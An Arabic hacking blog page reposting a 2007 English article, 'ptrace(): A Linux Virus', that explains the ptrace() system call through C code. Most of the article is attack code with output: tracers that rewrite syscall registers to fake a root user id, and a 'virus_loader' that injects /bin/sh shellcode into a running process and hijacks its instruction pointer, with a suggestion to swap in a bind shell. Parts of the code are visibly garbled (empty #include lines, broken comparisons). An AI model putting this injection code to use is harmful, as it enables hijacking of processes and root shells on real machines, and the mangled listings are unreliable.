اعلان

Website

المدونة

ملاحظات يجب قراءتها:

1. نتبرئ من استخدام أي موضوع في المدونة في طريق الحرام أو ضد المسلمين.
2. إن لم تجد الموضوع الذي بحثت عنه في محرك البحث، استخدم البحث الداخلي في المدونة.
3. هناك مراكز رفع ملفات تحتاج الى استعمال بروكسي للتحميل المجاني دون عمل حساب مدفوع مثل مركز رفع uploading.com
4. نعتذر عن عدم توفر بدائل لبعض الروابط المفقودة
5. الرجاء فحص الملفات جيداً قبل التشغيل فيما يخص أدوات الهاكرز و الفيديو..الخ
6. ليست كل البرامج كاملة و ليست كل البرامج تحتاج الى تسجيل!!؟؟
7. عزيزي الزائر تشرفنا بزيارتك، و أعلم أنك لست أول زائر و لن تكون الاخير بإذن الله تعالى، تمتع بتصفح المدونة دون مشاكل بإذن الله...
8. لا تنس استخدام (رسائل اقدم) لرؤية باقي مواضيع التصنيفات

انشاء المدونة

تم انشاء المدونة في:

07\01\2009

Black ice

كل عام و أنتم بألف خير بمناسبة مرور 4 سنوات على انشاء المدونة و الحمدلله

ĬŖŞĤ@ĮĐ مدونة الخدع و الشروحات إرشيد الجرايدة ĬŖŞĤ@ĮĐ

"ptrace(): A Linux Virus

Description: ptrace() is a system call that enables one process to *control* the execution of another one. The traced process (the child) behaves normally until it caughts a signal and when this occur the process enter in STOPPED state and informs the tracing process by a wait() system call. After this the tracing process (the parent) decides what the traced process should do (responds). 



/================================================================================\
---------------------------------[ PLAYHACK.net ]---------------------------------
\================================================================================/


-[ INFOS ]-----------------------------------------------------------------------
Title: "ptrace(): A Linux Virus"
Author: Omni
Website: http://omni.netsons.org
E-Mail: omni [AT] playhack [dot] net
Date: 2007-12-09 (ISO 8601) 
---------------------------------------------------------------------------------


-[ SUMMARY ]---------------------------------------------------------------------
0x00: Introduction
0x01: *Talk* about ptrace()
0x02: Have fun with ptrace()
0x03: Injecting codes
0x04: General Infos
0x05: Reference
0x06: Conclusion
---------------------------------------------------------------------------------



---[ 0x00: Introduction ]

Hi dudes! 
I'm back with a new paper concerning the injection of *our codes*
in a process that is running on the local machine! (ELF)


After this "little introduction" (ahahah) I just wanna thanks the playhack.net 
Staff and our *cool* bro str0ke (:P).

-----------------------------------------------------------------------------[/]


---[ 0x01: *Talk* about ptrace() ]

ptrace() is a system call that enables one process to *control* the execution of
another one.
The traced process (the child) behaves normally until it caughts a signal and when 
this occur the process enter in STOPPED state and informs the tracing process 
by a wait() system call. After this the tracing process (the parent) decides what the 
traced process should do (responds). Take in mind that if the traced process 
caughts a SIGKILL it will be killed!

#include

long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);

The field 'request' is a value that determines the action that has to be performed.

Here below you will find some actions that you can specify in the ptrace() function:

- PTRACE_GETREGS
This copies the child's General Purpose or Floating-Point registers to location
data in the parent.

- PTRACE_SETREGS
This 'request' copies the child's GPR or Floating-Point registers from a location
in the parent. (also take a look at this request: PTRACE_POKEUSR).

- PTRACE_CONT
Restarts the stopped child process.

- PTRACE_KILL
Sends to the child process a SIGKILL (to terminate it)

- PTRACE_ATTACH
Attaches to the process identified by the field pid and make the process 
traced as a child of the tracing process (current process).
As I said before the tracing process became the parent of the traced process
(child) and it will receive notifications from the child events but if a getppid
is called will return the PID of the original parent.

- PTRACE_DETACH
It restarts the stopped child and detaches the tracing process (child) from 
the traced process (*parent*). If ptrace has interrupted a syscall that has
been called (but not executed) the kernel subtract 2 bytes (from EIP) after
PTRACE_DETACH.

If you wanna more informations about ptrace() please read the man pages.
(could be useful).


-----------------------------------------------------------------------------[/]

---[ 0x02: Have fun with ptrace() ]

Now it's time to *Having fun with ptrace()* function!!
In this section I'll try to explain how to (p)trace a process and intercepts
syscall (and modify its arguments). The best way to explain what we have to do 
is to show to you a source code:

/* target1.c */

#include
#include

int main() {

char str[]="Hi\nSup Guys?\n";
write(0, str, strlen(str)); 
return 0;

}

/* end target1.c */

(.)Output:

$./target1
Hi
Sup Guys?
$

And here below you will find the tracer1.c code:

/* tracer1.c */

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include


int main(int argc, char *argv[]) {

if (argc <>
printf("please specify the absolute path of the target1\n");
printf("%s < /path/target1 >\n", argv[0]);
exit(1);
}

int orig_syscall = 0;
int status;
struct user_regs_struct regs;
pid_t pid;

pid = fork();

if (pid == 0) { //child

ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[1], argv[1], NULL);
} else { //parent

wait (&status); //wait the child

while(1) {

ptrace(PTRACE_SYSCALL, pid, 0, 0); //restart the stopped child and send a SIGTRAP when
//a syscall is called to inspect the arguments
wait(&status); //wait again the child

ptrace(PTRACE_GETREGS, pid, 0, &regs);
orig_syscall = regs.orig_eax; // here I have the original eax (the syscall number)

if (orig_syscall == SYS_write) { //Is our syscall number the SYS_write ??
regs.edx = 3; //set edx to 3 (MAX msg length -> more info here: man write(1) )
ptrace(PTRACE_SETREGS, pid, 0, &regs); //the the GP register(s)
}

}
}

ptrace( PTRACE_DETACH, pid, NULL, NULL );
return 0;

}

/* end of tracer1.c */

(.)Output:

#./tracer1 /home/omni/target1
Hi

#

Ehy what's that? As you can see the output of tracer1 is *Hi\n* ! 
But why? Look at the tracer1.c source code; there is an "important" assignment:

[...]
regs.edx = 3;
[...]

We set the register edx to 3 (maximum length of "string" in our write() syscall).

Look in depth what the tracer1 do:

1. check if the syscall write() is called
2. read the CPU registers
3. set the register edx to 3
4. detach from the process traced

Eg:

write(0, -> stdout
"Hi\nSup Guys?\n, -> it will print only Hi\n (edx = 3)
3); -> modified by edx (edx = 3)


Do you get it? Simple right? ;)


Cool, now I just wanna try to explain an other interesting example; so look
at the source code of target2.c and tracer2.c !!!

/* target2.c */

#include
#include

int main() {
printf( "user id: %d\n", getuid() );
execl("/bin/csh", "csh", NULL, 0);
return 0;
}

/* end of target2.c */

(.) Output:
$ ./target2
user id: 1000
%id
uid=1000(omni) gid=100(users) groups=11(floppy),17(audio),18(video),19(cdrom),100(user)


And now.. tracer2.c :

/* tracer2.c */

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include


int main(int argc, char *argv[]) {

if (argc <>
printf("please specify the absolute path of the target1\n");
printf("%s < /home/omni/articles/target1 >\n", argv[0]);
exit(1);
}

int orig_syscall = 0;
int status;
struct user_regs_struct regs;
pid_t pid;

pid = fork();

if (pid == 0) { //child

ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[1], argv[1], NULL);
} else { //parent

wait (&status); //wait the child

while(1) {

ptrace(PTRACE_SYSCALL, pid, 0, 0); //restart the stopped child and send a SIGTRAP when
//a syscall is called to inspect the arguments
wait(&status); //wait again the child

ptrace(PTRACE_GETREGS, pid, 0, &regs);
orig_syscall = regs.orig_eax; // here I have the original eax (the syscall number)

if (orig_syscall == SYS_getuid32) {
regs.ebx = 0; //set ebx to 0 (root access)
ptrace(PTRACE_SETREGS, pid, 0, &regs); //the the GP register(s)
}

}
}

ptrace( PTRACE_DETACH, pid, NULL, NULL );
return 0;

}

/* end of tracer2.c */


(.) Output:
# ./tracer2 /home/omni/articles/target2
user id: 0
%id;
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)


Killed!

#

If you read the source code you will find my comments and I thik (/hope) you
will understand; but for lazy people I'll explain the main functions.

[... in the child ...]

ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[1], argv[1], NULL);

[....]

Just trace the process..

[... in the parent ...]

1. ptrace(PTRACE_SYSCALL, pid, 0, 0);
2. ptrace(PTRACE_GETREGS, pid, 0, &regs);
orig_syscall = regs.orig_eax;

3. if (orig_syscall == SYS_getuid32) {
4. regs.ebx = 0;
5. ptrace(PTRACE_SETREGS, pid, 0, &regs);
}

[....]

Here is a little bit more difficult but if you understand C this will not be a 
problem ;)

1.   Just *restart* the stopped child and read the syscall arguments
2.   Read the the CPU registers
3/4. If the syscall is SYS_getuid32 set ebx to 0 and "gain" root access
5.   Copy the child registers

And now the /bin/csh shell is *spawned* with root privilege!!

-----------------------------------------------------------------------------[/]

---[ 0x03: Injecting codes.. ]

Injecting codes in a (p)traced ELF is not so difficult; but if you wanna
understand easily how to do it you have to read carefully the code.

Here below we have simple.c (the traced process):

/* simple.c */

#include
#include

int main() {

char buf[1024];

scanf("%s", buf);

printf("-> %s\n", buf);

}

/* end of simple.c */

$ gcc simple.c -o simple
# chmod u+s simple

(.) Output:
$ ./simple
Hi
-> Hi
$

Now it's time of our virus code: (:D)

/* virus_loader.c */

#include
#include
#include
#include
#include
#include
#include
#include

// shellcode "grepped" from internet (make your own shellcode,
// eg a bind shell)
char virus_payload[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42";


//inject func prototype
int inject(pid_t pid, long memaddr, void *buf, int buflen);

int main(int argc, char *argv[]) {

pid_t pid; //pid of the ELF that we have to infect
struct user_regs_struct regs; //CPU registers
long address; //where we will put our virus payload

if (argc <>
printf("usage: %s \n", argv[0]);
return -1;
}

pid = atoi(argv[1]);
//ATTACH to the pid 
if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) <>
perror("ATTACH");
return -1;
}

// Wait the child.. (the *attached* ELF is the child)

int status = 0;

wait(&status);

printf("[+] %d ATTACHED\n", pid);

//get the CPU registers and put it in our
//struct regs
//We will use it soon..
if (ptrace(PTRACE_GETREGS, pid, &regs, &regs) <>
perror("GETREGS");
ptrace(PTRACE_DETACH, pid, NULL, NULL);
return -1;
}

//calculate the address were we have to PUT our 
//virus payload (we will put it into ESP - 1024)

printf("[+] Calculating the address of our payload\n");
address = regs.esp - 1024;


printf("[+] Virus Payload at address: 0x%.8x\n", address);

//inject function is called.. (see below)
if (inject(pid, address, virus_payload, sizeof(virus_payload) - 1) <>
return -1;
}

//EIP now *points* to our virus payload
regs.eip = address + 2;

printf("[+] EIP points to virus payload at address: 0x%.8x\n", regs.eip);
//It's time to set EIP and let its to point
//to our virus payload 
if (ptrace(PTRACE_SETREGS, pid, &regs, &regs) <>
perror("SETREGS");
ptrace(PTRACE_DETACH, pid, NULL, NULL);
return -1;
}

ptrace(PTRACE_DETACH, pid, NULL, NULL);

    printf("[+] Shell Spawned !!\n");

    return 0;
}

// Injection Function

int inject(pid_t pid, long addr, void *virus, int len) {

long payload;
int i = 0;

//copy virus payload into *address* memory (esp - 1024)
while (i <>
memcpy(&payload, virus, 4);

//insert the payload into the memory
if (ptrace(PTRACE_POKETEXT, pid, addr, payload) <>
perror("Inject()");
ptrace(PTRACE_DETACH, pid, NULL, NULL);
return -1;
}

addr += 4;
virus += 4;
i += 4;

}

return 0;
}

/* end of virus_loader.c */

Let's try it..

--- [ Shell 1 ] ---

$ ls -al simple
-rwsr-xr-x 1 root root 8148 2007-12-14 19:26 simple*

[suid bit ACTIVATED]

$ ./simple
sh-3.1# id
uid=0(root) gid=100(users) groups=11(floppy),17(audio),18(video),19(cdrom),100(users)
sh-3.1#

--- [ Shell 2 ] ---

# ps -A | grep simple
 4779 pts/3    00:00:00 simple
# ./virus_loader 4779
[+] 4779 ATTACHED
[+] Calculating the address of our payload
[+] Virus Payload at address: 0xbfb2fe08
[+] EIP points to virus payload at address: 0xbfb2fe0a
[+] Shell Spawned !!
#

Here is a simple example; you can also add your own shellcode (eg a bind shell)
and than give again the control back to the ELF.

-----------------------------------------------------------------------------[/]

---[ 0x04: General Infos ]

- Why is it useful to use ptrace? My opinion is simple; if you are root you can
(WITHOUT LKM) modify syscalls, inject your own codes in a running process and 
much more.. ( eg control a process in runtime!! )

ptrace() is also used by debuggers for tracing syscall, set breakpoints, etc;
and this is a great things because you can do it in User Land.

- Is it possible to trace the same process twice?
No, it's not possible; because if you look here:

/usr/src/linux-***/arch/i386/kernel/ptrace.c

you will find:

if (!(current->ptrace & PT_PTRACED))
goto out; <- GOTO OUT!!!

-----------------------------------------------------------------------------[/]

---[ 0x05: Reference ]

[1] Man of ptrace()
[2] Building ptrace injecting shellcodes
    (Volume 0x0b, Issue 0x3b, Phile #0x0c of 0x12)

-----------------------------------------------------------------------------[/]

---[ 0x06: Conclusion ]

This is the end of my own article and if you have some comments, questions
or whatever *mail me*! ;)

Please if you find some errors let me know and I will update it soon!

-----------------------------------------------------------------------------[/]


\======================================[EOF]=====================================/

# milw0rm.com [2007-12-18]

ليست هناك تعليقات:

إرسال تعليق